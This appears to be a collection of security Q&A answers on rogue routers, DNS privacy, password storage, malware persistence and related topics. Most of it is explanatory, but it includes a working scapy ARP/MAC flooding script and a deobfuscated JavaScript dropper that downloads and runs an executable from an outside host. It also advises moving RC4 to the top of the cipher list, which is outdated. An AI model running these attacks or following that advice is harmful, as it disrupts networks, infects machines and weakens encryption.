If the attacker links the router's "uplink port" with the corporation network, then the router will automatically request an IP address with DHCP from the network infrastructure. Afterwards, it will do NAT on behalf on machines connected to its other ethernet ports or to the WiFi (the router will itself be a DHCP server on the ethernet/WiFi LAN). This can be detected by the sysadmin through the following ways:

When doing the DHCP request, the router will use its own MAC address, which is distinct from the MAC addresses of the normal systems. A meticulous sysadmin will instruct his DHCP server to give IP addresses only to a given, exhaustive list of known MAC addresses, and to raise alarms when an unknown MAC address is seen. Also, the same sysadmin may configure his switches to simply refuse any packet coming over a given port if that packet has a source MAC address which does not match the MAC address of the desktop system or printer which normally resides on this port.
Let's assume that the DHCP was allowed, or that the router was configured with a static IP address directly; then the router now has an IP address which is part of the local network, but does not react exactly like a normal machine (or printer). OS fingerprinting can be used by the sysadmin (typically with nmap -O), on a regular basis, for all IP addresses which may normally occur on the network (e.g. all the addresses that his DHCP server may normally lease).

The attacker may try to evade the first kind of detection by making his router assume the MAC address of the desktop system or printer which normally uses the plug (typically, his own desktop system). Though every piece of ethernet hardware has its own MAC address, this can be overridden in software. A stock home router will not necessarily offer this feature, but reflashing the router with a better firmware (e.g. OpenWRT) can unlock that kind of manipulation. However, this won't help the attacker against OS fingerprinting. It is very hard to emulate the network behaviour of a Windows system, down to that level, unless the OS is indeed running Windows -- and Windows won't fit in the router.

An alternative way for the attacker is to configure the router NOT to act as a DHCP server on its ethernet/WiFi LAN, and to plug one of its non-uplink ethernet port into the local network. In that case, the router is no longer used as a "router" but as a switch. With this setup, all the machines which connect over WiFi are "as if" they were directly plugged in the local network. This moves the problem of evading detection to these machines.

On the one hand, this allows the attacker to plug back his desktop system in one of the router ethernet ports, so his system will work as usual. At that point, the home router is undetectable. On the other hand, every host which connects to the WiFi becomes subject to the detection powers of the sysadmin, since there is no NAT. The local switches may block the unexpected MAC addresses. The local DHCP server may refuse to give IP addresses to these newcomers.

To sum up, the sysadmin will be able to detect the "router" by doing the following:

Maintain a list of all "allowed" MAC addresses, and configure the switches to block (and possibly report) unexpected MAC addresses on each switch port. (This requires "intelligent" switches, of course.)
Configure the local DHCP server to always give a specific IP address for each allowed MAC address. Alternatively, don't use DHCP at all, instead use static IP allocation (but DHCP is convenient to distribute addresses of gateways and DNS, so a full static, DHCP-less scheme may increase sysadmin work).
Configure switches to report on any IP packet which uses an address which is not part of the list of allowed IP addresses.
Regularly, run some nmap -O for all allowed IP addresses to see if each machine uses the expected kind of operating system.

With this setup, the sysadmin stands a very good chance of detecting any shenanigans related to a home router plugged in the local network.

At some point, you would have to consider the social side of things. When a user plugs a home router, this is for a reason, which may be legitimate. It is possible that the user wants to give free Internet access to a friend living in the next building; but it is also possible that the user really needs that kind of extra access to do his work. This might be a situation where the presence of a company-sponsored WiFi router, possibly suitably isolated in its own DMZ, could be a good idea. Detecting forbidden actions from users is good; making it so that the said users do not even wish to perform forbidden actions, is better.


Is captcha the only thing preventing endless account creation

Prominent web services use second level confirmation to screen and obfuscated automated spam registration, to increase the cost of automated spam. E.g.:

email with a unique confirmation link
email with a confirmation code that required user to click on a sperate link given.

Another bot check can be initiated by loading a welcome page with javascript that tracks mouse movement(normally bot script will not emulate mouse movement). However, this is a gray area because such script can be abused to use to fingerprint the user.


What encryption did Encrochat use, and how was it broken?

As the linked article states, is appears the server farm was compromised rather than encryption being broken:

They eventually discovered that EncroChat was operating from servers
based in France and were eventually able "to put a technical device in
place" which allowed them to access the encrypted messages sent over
the company's network.
Although it isn't clear what this device was, it suggests the
investigators were able to deploy some form of technical implant on
the network rather than break the encryption protecting the messages
in transit.

Smart money says that the chat was not end-to-end encrypted, and that the police implant tapped into servers where the data was unencrypted, or perhaps even found unencrypted server-to-server backend traffic on the wire.


Can we safely distribute password protected .p12 file?

By having the file, it would be possible to try to brute force the password, so you would need to choose a really strong password to protect it and make brute forcing infeasible. Eg I can find on google tools that claim to brute force PKCS#12 at 500k passwords per second. If you choose 8 random printable characters it would take more than 400years. That on a comercial tool with GPU acceleration.  Looks safe enough for your scenario.

However, sharing the key with other developers should be avoided anyway. Since you will need to share securelly the password anyway by another channel, and you should chose a password that is really strong, maybe you can use the same channel to securelly share the PKCS#12, and,  if not, sending both using two separate distinct and private channels still is a better option.


Why protect the Linux kernel from the root user?

If an attacker gets root, don't they pretty much own the machine even without kernel access, by doing things like modifying binaries?

Maybe, maybe not. With SELinux, you can restrict access to block devices, even for the root user. So, if your root partition is read-only (and the system is running with OverlayFS to provide for non-persistent modifications), then protecting the kernel from root can guarantee a consistent state on reboot, even if the machine has been compromised at the root level.

Whereas if the kernel is not protected from the root user, you can't have such guarantees.


Are there any statistics about webservers and browsers TLS support?

Yes, nearly everyone is still using SSL 3.0 or TLS 1.0. Ivan Ristic from Qualys did a nice talk at Blackhat about that this year.

As to whether or not the attack is real, I understand that it is indeed real, although there is some debate at the moment about its impact, since the details have not been made public yet.

UPDATE- We're recommending to our customers that they bump rc4 to the top of the ciphersuite list, since it won't be vulnerable to this attack. After a day's research, the attack looks both plausible and potentially severe.

For Apache, something like this should do it:

SSLCipherSuite !aNULL:!eNULL:!EXPORT:!DSS:!DES:!SSLv2:RC4-SHA:RC4-MD5:ALL
SSLHonorCipherOrder on


Why do most hashing functions produce hashes that have characters a-f 0-9?

It's just hex encoded. A 16 byte md5 hash can contain non-printable characters, so it's encoded to a 32 char hex string.


Nmap dev here: Sorry, but there is not an option to cleanly stop a scan and finalize the XML output. The --resume option, as you noted, only works with Normal and Grepable output. It also cannot cope with --randomize-hosts. Here are the stages of development we would need to undertake to make this possible:

Extend --resume to parse Nmap's XML output for last completed host. Not too difficult.
Change Nmap's XML output stream to clobber the final tags of a well-formed XML file if --append-output or --resume are started. Tricky, but doable.
Extend Nmap's signal handlers to finalize XML output if any. Difficult because the SIGINT and SIGSTOP signal handlers should be as small as possible and cannot rely on file handles being in a usable state. Maybe make this part of a different signal handler like SIGUSR1 or something and/or bind that to a ctrl key sequence. Also remember that Nmap must work the same on Windows, Linux, OS X, FreeBSD, Solaris, and many other platforms, so signal handling might look very different in those cases.

Feel free to add a feature request to http://issues.nmap.org/new for this, and please reference this question and answer.
UPDATE: Resuming was added in Nmap 7.40 (but not finalizing (closing open XML tags) with an interrupt signal or similar):

Added scan resume from Nmap's XML output. Now you can --resume a canceled scan from all 3 major output formats


Is it possible to block non-PyPI requests during pip install?

Is it a good counter-measure for this kind of a situation?

No. Unfortunately what you're planning to do won't address this specific threat. Here, the attackers compromised the package on PyPI itself, hence it was downloaded from the original source, so limiting downloads only to PyPI would have no effect.

In most cases, these compromised packages come in two flavours:

Attackers gain control of a legitimate package and inject malicious code into it. e.g. NPM event-stream
Attackers create a malicious package that looks similar to the legitimate package (jeIlyfish vs. jellyfish) -- the form uses the upper-case 'i' instead of 'l'.

It's hard to address this without some tooling, ultimately it's nice to be able to build everything yourself, but sooner or later you're going to need external packages -- and sometimes those external packages get compromised. Even without attackers, legitimate CVEs are found in commonly used package and require upgrades on your part to protect your application.

For this you need a tool, that scans your requirements.txt file and validates against a list of known vulnerable packages (either through this type of compromise or something else). Of course this is more post-build rather than pre-build, but you can incorporate into your build pipeline if required (validate requirements.txt before building).

If you publish your code on Github, it automatically is scanned by Github against known vulnerable packages and warns you via email and on the repo homepage. There are other tools like pyup, synk, etc that do exactly the same thing.


Can I get 100% protection from virus by using Deep Freeze?

There are oodles of non-local-harddisk places that malware could stay (although in practice, such is rare in viruses). A few, off the top of my head, the system BIOS (although rare, there is malware which does this), or the firmware of bootable PCI cards.

If a virus can get on to your system, though, preventing it from persisting won't help - it may simply re-infect you after your reboot. Some 'stealthy' malware will stay entirely memory-resident, and will not write to disk, in order to evade detection.

Maybe you need to examine what you're trying to prevent - instead of 'A virus', maybe the answer is 'damage to my documents' or 'exfiltration of my documents'... or even simply 'theft of my banking credentials'. This might help you focus on what threats you should be preventing.


Fill ARP table with as many entries possible

Thank you for the comments.
With your comments, I was able to find a nice script on github:
https://github.com/mertkahyaoglu/macflood/blob/master/macflood.py

#!/usr/bin/env python
from scapy.all import *

vendor = "b8:e8:56:"
destMAC = "FF:FF:FF:FF:FF:FF"

while 1:
    randMAC = vendor + ':'.join(RandMAC().split(':')[3:])
    print randMAC
    sendp(Ether(src=randMAC ,dst=destMAC)/
    ARP(op=2, psrc="0.0.0.0", hwdst=destMAC)/Padding(load="X"*18),verbose=0)


If you ever look or read about the old spy tactics, they would pass messages in soda cans under a park bench, or do things that couldn't easily be found. From a traffic analysis and meta-data collection issue, encryption of the messages do not matter since the analysis is of the signals not the content. Signals analysis may look at things like between what two parties, frequency, etc.

One possibility may be using something like a TOR-like infrastructure, where the traffic is difficult to decipher without controlling a lot of nodes, though as recent news has shown, TOR is not a full proof way to get anonymity and can be compromised.

There are also anonymous BBS and BBS-type systems. You post the message encrypted and then someone else has to know where to go to find it an decrypt it. If you upload and download a lot, its difficult to tell the connections between individuals, making traffic analysis hard.

Focusing on meta-data or signals analysis part, you can always look at adding noise, such as the Chaffing and Winnowing system proposed by Ronald  Rivest. You could also try to communicate over covert channels, split messages, etc. You could move around between various forums every few days, even if they are off topic (and thus less likely to be targeted in a search). You could communicate in the comments of random websites and have some way of telling your receiver how to find the comments. You could also implement stenography and post things in very public places.

In general, to make it easy and secure would be real challenge. If all traffic can be monitored at the wire level, then traffic analysis is always possible without sufficient noise or physically moving between networks (go to a new coffee shop every few minutes).

If you are not concerned about the meta data and the signals, but want privacy, any type of encryption where the service provider does not hold the keys will work. Ekiga and other tools provide encryption, and are relatively user friendly. Even outside of security, there are always arguments for replacing email, its an issue of what features are needed by the masses and how to get them to transition. The Internet is full of legacy hold backs which take a long time to be replaced (even WWW-browsing has lots of limitations and draw backs).

--Edit--

Just saw this today on HN: Secure Share. Some of their points:

  We employ GNUnet for peer-to-peer routing and encryption (the new
  openssl of P2P) and PSYC to create the social trust graph (because it
  performs a dozen times better than XMPP or OStatus).

  communication between parties cannot be measured as they may have none to several routing hops in-between. an observer never knows if a communication came where it came from and ends where it is going to.

May end up being something useful, if you could get people to agree to leave the web browser.


I kind of figured it out.

First of all I needed to concatenate the bitmask and icv_patch.

The resulting 40 bytes should be XORed with the original encrypted content.

The crc32 calculation by binascii or zlib is different from the one aircrack-ng uses.
I translated their implementation from C to Python and it works now.

However I do not understand the different results from the crc32 calculation (yes both are crc32)


Regular DNS traffic over port 53 is plaintext so any requests made will be visible to your ISP (For more background on DNS, check out the RFCs, start with 883 and then go to 7626 "DNS Privacy Considerations")

Therefore, in order to prevent eavesdropping between your client and the DNS service you would need to either use a secure-DNS extension or tunnel your regular DNS traffic through a VPN or proxy. However, if you are using your ISPs DNS servers than this is a moot point.

Depending on your circumstance you may want to use a VPN for all traffic or you may want to consider using something like Tor or a simple web based HTTP privacy proxy like AnonyMouse. However, if you are worried about DNS requests you might not want your ISP seeing you use privacy services.

Some options include:

DNS Over TLS (RFC 7858) - e.g., DNSPrivacy.orgs's Stubby (check out this Medium article)
DNSCrypt (as suggested by @David)

Note: DNSSEC does not provide confidentiality:

  DNSSEC does not provide confidentiality of data; in particular, all DNSSEC responses are authenticated but not encrypted.

Also consider, that if you have prefetch (see also) (predictive loading) enabled your browser will load the page and do more than the DNS lookups. You may want to disable this and due some research on the best secure browser configuration and addons to meet your needs.

If you are worried about inappropriate content you are not expecting, try enabling Safe Search.

More reading:

https://dyn.com/blog/an-abridged-guide-to-security-in-dns/


w00tw00t.at.ISC.SANS.DFind iptables fix - abusable?

TCP connections are not easily spoofed.  The reason for this is the three-way-handshake that must be completed before the connection is considered "established".  The connection must be established before an HTTP request can be sent.

UDP packets are easily spoofed but can't be used to attack Apache.

Since HTTP works over TCP connections, you can be confident that the IP address you are blocking is actually attacking you at that time.

An IP address that is attacking you today might be owned by a legitimate user tomorrow or even potentially at the same time if your legitimate user is infected and is part of a bot net.  It's worth making sure your firewall rules expire some time after the last attack was seen.

If you are particularly worried about false positives, you can create a custom 403 page that includes an out-of-band method of contacting you ( such as an email address or a phone number ) and then block the IP addresses using Deny from 1.2.3.4 in your Apache config.


Why are data breaches like the one at Quora considered so bad?

Putting privacy concerns aside (as it sounds like you don't particularly care), having detailed personal information about you makes at least four things easier:

Identity theft, opening new accounts in your name with your money and/or credit on the line
Guessing password reset/security questions or impersonating you to customer service, to take over your accounts
Crafting targeted phishing emails (a.k.a. "spear phishing")
Blackmail/harassment/threats


Named curve value 0xffff in 'Server Hello' message

Look at RFC4492 Section 5.1.1 that you mention in your post, we see the following structure:

enum {
        sect163k1 (1), sect163r1 (2), sect163r2 (3),
        sect193r1 (4), sect193r2 (5), sect233k1 (6),
        sect233r1 (7), sect239k1 (8), sect283k1 (9),
        sect283r1 (10), sect409k1 (11), sect409r1 (12),
        sect571k1 (13), sect571r1 (14), secp160k1 (15),
        secp160r1 (16), secp160r2 (17), secp192k1 (18),
        secp192r1 (19), secp224k1 (20), secp224r1 (21),
        secp256k1 (22), secp256r1 (23), secp384r1 (24),
        secp521r1 (25),
        reserved (0xFE00..0xFEFF),
        arbitrary_explicit_prime_curves(0xFF01),
        arbitrary_explicit_char2_curves(0xFF02),
        (0xFFFF)
    } NamedCurve;

It would seem to me that 0xFFFF is a reserved value that is (maybe mistakenly?) sent to indicate that the server doesn't support ECC, or to indicate the end of the array of curves.

It's possible that the BSAFE Crypto-J provider isn't properly configured.


If your CRLF output shows in response header, it's vulnerable and exploitable (even if < > " chars is filterd) .

An attacker can use to set-cookie header for session-fixation attacks, or using to location and cache in headers and ... .

update

If your output is in html body it's not exploitable,CR LF Characters in HTML are white spaces .
But if it's in javascript it could be explitable .


OpenID Connect access token to access protected API

To answer my own question. Yes, it is legitimate to do that. We use OIDC for authentication and the access_token to protect the APIs.


Problems with PGP/SSH-key not being changable the way a password is

Of course you change keys, you just have to find all the places that accept them, and change which ones are accepted. Edit the authorized_keys files in case of an SSH server. Requires logging in to all the machines, but it's exactly the same if you want to change your password.

If you have, say, files encrypted to a GPG key and you've misplaced them, in addition to the key, then it's a bit more annoying, since you need to find and delete or change all the files too. Any GPG-encrypted emails sent to your old key would still be readable by someone who the key was leaked, if they can get their hands on your old emails. But this isn't any different from passwords either. If you have files encrypted to a password, anyone with the file and the password can read it.

  Anybody would be able to decrypt all messages I've ever encoded, and access all servers I could.

I think this would apply completely even with the precondition changed to "what if I accidentally spill my password".


Aside from SSL based security aspect, when installing from PyPI pip has an MD5 based checking mechanism (though the hashing algorithm can be changed), which is designed to prevent/check download corruptions and not really be a security guard:

  PyPI provides an MD5 hash in the fragment portion of each package
  download URL, like #md5=123..., which pip checks as a protection
  against download corruption. Other hash algorithms that have
  guaranteed support from hashlib are also supported here: sha1, sha224,
  sha384, sha256, and sha512. Since this hash originates remotely, it is
  not a useful guard against tampering and thus does not satisfy the
  --require-hashes demand that every package have a local hash.

But, pip can also work in the hash-checking mode (which is not enabled by default), which allows you to validate against local hashes for each of the packages you install:

  Since version 8.0, pip can check downloaded package archives against
  local hashes to protect against remote tampering.

Check out this relevant thread as well:

Which security measures does PyPI and similar third-party software repositories take?


Java / Android Client-Server application. Digital certificates and CAs

You say:

  My initial thought is that it has to receive this certificate from a CA, as if it receives it from the server, it may be fraudulent.

Yet, here lies the problem with your thinking: X.509 certificates are crafted such that they are tamper resistant. If the server changes the certificate, it get's invalid (with acceptable probabitity).

You can do it the same way TLS does it and let the server present the client the certificate to validate. Because it's signed by a CA the client trusts, it can be accepted.

Also, the usual disclaimer:

Why do you not use TLS? That's what it is for.
Do now brew your own crypto.


There's a chain of trust that stops this:

The DNS root itself is signed with DNSSEC. This is well-known to clients that support DNSSEC at all. When the DNS root provides records about (e.g.,) the .com domain, its response will include a DS record to indicate that that domain should be signed as well. This works again at subsequent levels: the .com domain will provide a DS record to indicate that example.com is supposed to be signed with DNSSEC.

Because of this, an attacker who removes any DNSSEC record will break the validity of the previous level's DNSSEC, and removing DNSSEC from the root is a clear signal that tampering has occurred.

Caveat: the above only works if every piece of the domain is signed. If example.com isn't signed but secure.example.com is, the attack you're describing does become possible unless the resolver knows of the trust anchor for secure.example.com.

Sources:

https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions#The_lookup_procedure
https://technet.microsoft.com/en-us/library/dn593672(v=ws.11).aspx


Checking if notebook is clean of hardware spyware

This is an important question.  But I'm guessing you won't be happy with the answer.  While some of the simplest attacks can be easily detected, a wide range of attacks will be undetectable by nearly everyone.  So someone with little experience identifying hardware will be hard-pressed to get much confidence.
This basically underscores the importance of physical security at all times, which itself is a very hard problem.

On the other hand, this sort of attack is probably pretty rare, assuming you aren't a high-value target of some savvy attacker.   It is easy to get so paranoid about such things that you spin your wheels and don't get around to things that are really important.   See e.g. How do you manage security-related OCD (i.e. paranoia)?.  So you may well just want to not sweat it and skip the rest.

It might well help to follow @KarelThönissen's advice to take a picture of your hardware in its original, presumably "clean" state, inside and out, so you'll have something to compare with when you check it later.  But this will help you detect only the simplest, boldest attacks, like some keyloggers.

At the other end of the spectrum, evidently even computer manufacturers can't be sure that the parts arriving in their supply chain are free of malware.  See e.g. the comments of Greg Schaffer at DHS reported at Information Week: Homeland Security: Devices, Components Coming In With Malware.  If the people making your computer can't be confident that it doesn't have hardware malware, that makes it pretty hard for an IT shop to do so.

In between those extremes, note one of many examples of quickly hacking a voting machine in ways that are difficult to detect, e.g. by replacing a ROM chip: The New Jersey Voting-machine Lawsuit
and the AVC Advantage DRE Voting Machine (pdf).

@this.josh points to some good sources on hardware hacking at Literature about IT security from hardware standpoint.

Note also, as discussed at Wireless keyboard sniffing risk, that some hardware spyware isn't inside the computer, but detects what is going on via electromagnetic or acoustic surveillance.  E.g. even a wired keyboard or display can be spyed on remotely, so you need to somehow also check that the surrounding area is clean.

Attacks on firmware like the BIOS might also be relevant to you.  See How to check the integrity of my BIOS? and Tamper-proof BIOS password & settings storage with Trusted Platform Module? for some good tips in that realm.


How long does it take for a gpg key revoke certificate to propagate to all public key servers?

public key is no longer searchable in any way?

Won't happen. Your key will still be listed indefinitely, it will just be expired as of the date you revoked it.

  waiting game for the "old" key servers to synchronize with the "new" ones?

I recently searched 6-8 keyservers and got 6-8 different lists of available keys including some old ones I had forgotten about.

In sum: GPG keys once uploaded persistent indefinitely, may or may not propagate to other keyservers, and are nearly impossible to remove. They can only be modified by revocation which really only sets them to expired.


Definitions of computer forensics and information security

I suggest seeing the following "Technical Certification Roadmap"

The answer to your questions are enough to fill a book. The two (infosec and forensics) are like apples and oranges. Both fruits, each different. In forensics, depending on what you are doing, there could be life and liberty at hand if you are performing forensics with the ultimate route being, a court case. In infosec, same applies (slightly): life, privacy. (If you're working at say a SCADA based environment, one mishap could endanger life, if you're working in the medical arena, privacy comes first).

Aside from these two huge gaps, it works best to get a feel for both as they complement one another however, they are both extremely different. The companies hiring for these roles also hugely differ. For example, many huge law firms hire forensics experts for the sake of having talent on-hand to analyze cases, but have no true blue infosec program. Some Fortune N companies hire strong infosec teams and lack/substitute forensics with "incident responders." In forensics, chain of command, evidence, spoilation, etc., come first. In infosec, this is barely an afterthought.

Personally, I feel its best to understand both realms although they in themselves are VERY BROAD fields. Hence me posting the roadmap. The roadmap linked, shows the variations of "infosec" as there are many: application security, network security, infrastructure security, web security, SCADA based security. Same applies for forensics: E-Discovery, Incident Response, Privacy, Legal based (going to a trial).


HTTPS Everywhere (Firefox) allows mixed content on pages with images

HTTPS everywhere relies on a ruleset that determines which domains support HTTPS. The ruleset can be searched here, and I suspect if you search for the domains which host the insecure images they won't be there.

To some degree the problem you describe is expected, because if the site was fully compatible with HTTPS then presumably the website owner would send traffic to the HTTPS version without the need for HTTPS everywhere.

Despite this limitation, there is probably still value in using HTTPS everywhere. The most sensitive data is usually the page/document itself and the JavaScript so if they can be encrypted you'll receive most of the benefits of HTTPS.


How should you store a password that needs to be retrieved as plaintext?

How do you store the password?   Very carefully.

In particular, I suggest using a special architecture:

Set up a separate machine, which will exist only for storing the cleartext passwords.  It should be hardened and locked down as tightly as possible.  You should limit the number of administrators with access to this server.  And this server should be used only for this purpose.  Let's call this the "login server".
The login server should export a simple API, with a few functions: (a) add a new username/password pair for some website to the password store, and return a handle that uniquely identifies this; (b) login to the third-party site using a particular username/password pair (as specified by its handle), issue a particular request, and return the response; (c) delete a particular username/password pair (as identified by its handle).  Passwords should be stored on the login server (not on a shared database).
Notice that there is no API to export a username/password pair from the password store.  That is on purpose.  The login server should act as a Hotel California for passwords: passwords go in, but they never come out.
The login server should keep detailed logs of all uses of its passwords.  You might also want to have it to some rate-limiting (e.g., notify an administrator if the rate of uses exceeds some threshold).  And you might want to have some garbage-collection, so that if a username/password is not used within 90 days, you delete it from the password store, to limit the number of old passwords stored (the user can be prompted to re-enter their username/password when they next log in).

This architecture isolates the most security-critical aspect into a separate piece, the login server, and tries to keep its functionality as simple as possible, so that you can minimize the chances of security vulnerabilities that might allow access to users' passwords.

Second, I suggest that you plan to do an extra level of code review and testing, given the critical nature of the login server:

Have a second developer review all of the code for the login server, to check that it does not contain any security vulnerabilities.
Consider hiring someone to do a pentest or a security code review of the login server.

Even if you take all of these steps, you are still subject to some risk.  There is no silver bullet.  If the login server gets hacked, all of your users' passwords will be disclosed, which is very bad.  Therefore, be as careful as you can.


I recommend reading Smashing The Stack For Fun And Profit by Aleph One, which includes some examples of how it is done.

  How does the hacker then get the address of where it is?

By using a debugger and disassembly of the program, examining assembly instructions. One of the particular things of interest, as in the referenced article, is Stack Pointer:

  The CPU has special instructions for pushing values onto the stack and popping them back from the stack. Each push stores the value at the current location of the stack pointer and decreases the stack pointer. A pop retrieves the value pointed to by the stack pointer and then increases the stack pointer (don't be confused by the fact that adding a value to the stack decreases the stack pointer and removing a value increases it.

If layout randomization is not enabled, stack pointer is predictable, which means hacker can know how to overflow buffers or where to inject shellcode. In fact, to answer the ASLR part of the question, an example of how can that be useful can be seen in How to find stack pointer for overflow bug?

  How is shellcode (the payload) added to an executable file?

From untrusted input. One example of that is via command-line parameters. It can be combined with other exploits.


First of all; officially everything after the # isn't part of the URL with respect to requests and responses. It isn't sent to the server, and it is ignored when retrieving and setting caches. It appears in the URL bar, but isn't not part of the resource's specified location.

With respect to the question of how do browsers determine whether to cache pages; the answer is "it depends". IE is somewhat notorious for caching XHRs even when the cache-control header explicitly says not to, which is why jQuery's ajax cache avoidance mechanism exists. The workaround it uses is to append a GET variable with a simple monotonically increasing counter. This makes each request a new URL--because /foo.php?x=123 is a different URL from /foo.php?x=456--and therefore a guaranteed cache miss.

Note that in contrast /foo.php#x=123 followed by /foo.php#x=456 is a potential cache HIT, because the resource in question is just /foo.php, and #x=123 is stripped off before retrieval.

As for what the standard is, I believe that if no cache or age is specified, then the cache behavior is undefined: the browser's author is free to make up his own mind as to what is correct. Different browsers will probably behave differently. And browsers are (well, one browser in particular) famous for basing important behavioral decisions on seemingly random factors. So in that case, making the cache decision based on the URL Fragment is possible despite being absurd.

So, if you're using one of those browsers that makes your more technically-minded peers laugh at you, then expect to experience unjustifiably weird behavior. Don't try to explain it, you'll only make yourself angry.

On the other hand, if you're the app developer then, (A) explicitly set a cache policy in your response headers and (B) if you're dealing with IE then use cache-busting GET parameters.


I'm an idiot. Need help with JavaScript "codebreaking" and analysis

How to deobfuscate

All the functions

All the strangely named functions just returns whatever is passed into them. So code like xmudzymza(["an"][0]) is actually just a convoluted way of writing "an". If you copy paste the code into an editor with syntax highlighting you can read large parts of the deobfuscated code by just ignoring everything that isn't highlighted as string literals!

Creating and testing ActiveXObject

Among all the functions you have a not so well hidden ActiveXObject:

uzuqevr = ActiveXObject;

Right before the if clause it pops up again:

var agwibak = new uzuqevr(obrujaw(["Sc"][0]) + ... + qowokl(["ct"][0]);
var ctaqev = new['ukehkyk', Function, 'lebate'][1](repu(["va"][0]) + ... + nwavale([";"][0]));

If you run just the long string concatenation inside the parantesis in the console, you get the string Scripting.FileSystemObject. So what we have is actually this:

var agwibak = new ActiveXObject("Scripting.FileSystemObject");

On the line after that we have this:

var ctaqev = new['ukehkyk', Function, 'lebate'][1](repu(["va"][0]) + ... + nwavale([";"][0]));

It creates a new of the first element in the vector - that is Function. The function constructor creates a function from a string of code, sort of like eval. The function is assigned to ctagev. Just like above we can evaluate the long string concatenation in the console (without actually running it). This is the function:

(function() {
    var ggelkigtu = agwibak.GetDrive(agwibak.GetDriveName('C:\oeokiotifgjvdkslsdfsdghrefvdfbdhgdgdfgd\dsgdgdfgdfgdf\354353535345\sdfsfsdfsdfdsf')).SerialNumber; if(ggelkigtu < 0 || ggelkigtu > 0) return true; else return false;
})

That function is then called in the if clause:

if (ctaqev()) { ... }

So what does it do? It tries to create an ActiveXObject and assign it to ggelkigtu. It then returns a boolean based on ggelkigtu < 0 || ggelkigtu > 0. If the JS interpreter does not support ActiveX ggelkigtu will be undefined, and that condition will be false. So if your interpreter does not support ActiveX the content of the if clause will be ignored.

Inside the if clause

To obfuscate this part you need to do two things:

Change the names of the ridiculusly long variable names (by just doing search and replace).
Again, remove the xxxxxx(["ab"][0]) to get the actual strings.

What you get is this:

if (ctaqev()) {
    long1 = this["WScript"];
    long2 = long1["CreateObject"]("Scripting.FileSystemObject");
    long3 = long1["CreateObject"]("WScript.Shell");
    long4 = long1["CreateObject"]("L2TP");
    long5 = long1["CreateObject"]("ADODB.Stream");
    long6 = long2["GetSpecialFolder"]("2");
    long7 = long2["GetTempName"]();
    long8 = long4["open"]("T", "http://moosetraxtax.com/images/total.exe", "0");
    long8 = long4["send"]();
    long5["type"] = ["1"];
    long9 = long4["ResponseBody"];
    long10 = long1["ScriptFullName"];
    long8 = long5["Open"]();
    long8 = long5["Write"](long9);
    long8 = long5["SaveToFile"](long6 + long7);
    long8 = long5["Close"]();
    long8 = long3["run"]("cmd.exe /c " + long6 + long7, "0");
    long8 = long2["deleteFile"](long10);

}
long1["echo"]("The file is corrupt and cannot be opened");

Cleaning it up some more (by using . instead of [""] and changing the variable names again) we get this:

if(ctaqev()) {
    fileSystem = WScript.CreateObject("Scripting.FileSystemObject");
    shell = WScript.CreateObject("WScript.Shell");
    l2tp = WScript.CreateObject("L2TP");
    stream = WScript.CreateObject("ADODB.Stream");
    folder = fileSystem.GetSpecialFoldder("2");
    tempName = fileSystem.GetTempName();
    x = l2tp.open("T", "http://moosetraxtax.com/images/total.exe", "0");
    x = l2tp.send();
    stream.type = "1";
    response = l2tp.ResponseBody;
    scriptName = WScript.ScriptFullName;
    x = stream.Open()
    x = stream.Write(response);
    x = stream.SaveToFile(folder + tempName);
    x = stream.Close();
    x = shell.run("cmd.exe /c " + folder + tempName, "0");
    x = fileSystem.deleteFile(scriptName);
}
WScript.echo("The file is corrupt and cannot be opened");

What does it do? Are you infected?

I dont know much about ActiveX, but it sure looks like it downloads a file from http://moosetraxtax.com/images/total.exe and runs it. Surprisingly, only three AV vendors identify that URL as malware on Virus Total, but I think we can be pretty sure it is.

If you want to know what you got, you can try to download it from there and investigate. Obviously that is a risky activity, and there is no guarantee you will get the same thing.

Running this script in a modern browser would be safe, because they do not support ActiveX. But you ran it with Windows Script Host. I don't know what if any limitations a script executed by WSH has, but to be on the safe side I would assume that the computer is infected and treat it as such.

If you want to make sure you really were infected, I would recommend the following:

Find out what WSH really allows a script to do. (I don't know the answer to that, sorry.)
Check the logs for your firewall (if you have one) to see if the request was blocked.


Knowing when there has been a data breach from your database

The number of security measures in place and the capabilities to discover breaches will vary widely from company to company and depends on the type of data that is stolen.

There are several ways a company will learn of a breach:

security sofware catches unusal behaviour and marks it for later review (or stops it on the fly after part of the data already left the network)
while routinely auditing logs (e.g. of a webserver) the company spots a potential attack vector and confirms it
the company receives a note by an insider (e.g. from a bank if payment data was involved and is now misused)
the attackers contact the company themself (e.g. to extort money)
the users/customers alert the company (e.g. complains about spam that was sent to related email adresses that were stolen)
news, reporters or other individuals get their hands on the stolen data and report it publicly or in private
..

Since the number of attackers and their motives to steal data from companies as well as the way they use the data in the end differs from breach to breach it is totally possible that small (and even larger) companies never know that their data has been stolen.
If the attackers don't use or publish the stolen data it will be hard to recognize if you do not have the security routines and tools in place to catch such a breach.

There will also be cases where the origin of a breach cannot be tracked back easily. Especially if a small number of stolen data is merged with larger parts (e.g. some 50 customer email addresses used in a huge spam campaign with millions of other recipients)


How to Prevent Copying of Device Source Code in Manufacturing

It's not that easy, but you could use 3 manufacturers, each one completing part of the process.
One may etch the board and put the passives, other gets the bare flash ships and flashes the firmware, the next one would solder microcontrollers already with the firmware.
This isn't a guaranteed way to prevent copy, but makes non trivial to do so. The first one will have all the board plans and passives, but not the controllers. The second will get a binary blob and no idea what is that about, and the third just finishes the almost done board.


Are there trackers that work even for people who are using extensions like Privacy Badger?

That is in theory possible. Privacy Badger monitors all the domains that are consulted when you fetch a webpage and then looks for third party domains (Domains that arent equal to the domain of the website you entered) that apear on many different sites asuming that these are trackers or ads. Of cause there must be a whitelist for google code and so on... but basicly that is how this plugin works.

When one creates a tracker that is divided over a huge load of domains and uses them in a round robin way it might be possible that it is not or just after a very long time detected and blocked by Privacy Bager. Indeed this can only work if they change their domains constantly because they otherwise could be blocked by simple blacklisting. Like I said its theoretically possible...


Authentication and protection against replay attacks on instructions over SSL

If the clients are communicating with the server encrypted, and we assume we can trust the server, one easy way to do it would be for the server to broadcast some cryptographically random chunk of plaintext to all clients (say, 2048 bits).

The clients cryptographically sign the plaintext with their shared secret(s), and send those signatures to the server, which stores the responses in a hash table, where each response also maps to a list of clients.

When multiple clients give the same signature, the server informs all of them, and each client sends an encrypted packet containing its ID along with a timestamp and nonce, encrypted by the shared key. These packets are then sent to each client in the list, along with a temporary client ID generated by the server.

When a client wishes to communicate with another client, it sends that client's temporary (server) ID to the server. When two clients both send each other's temporary ID to the server, the server transparently creates a tunnel between them. From there the two clients may continue to communicate using their shared channel, sending a timestamp and nonce within each encrypted packet.

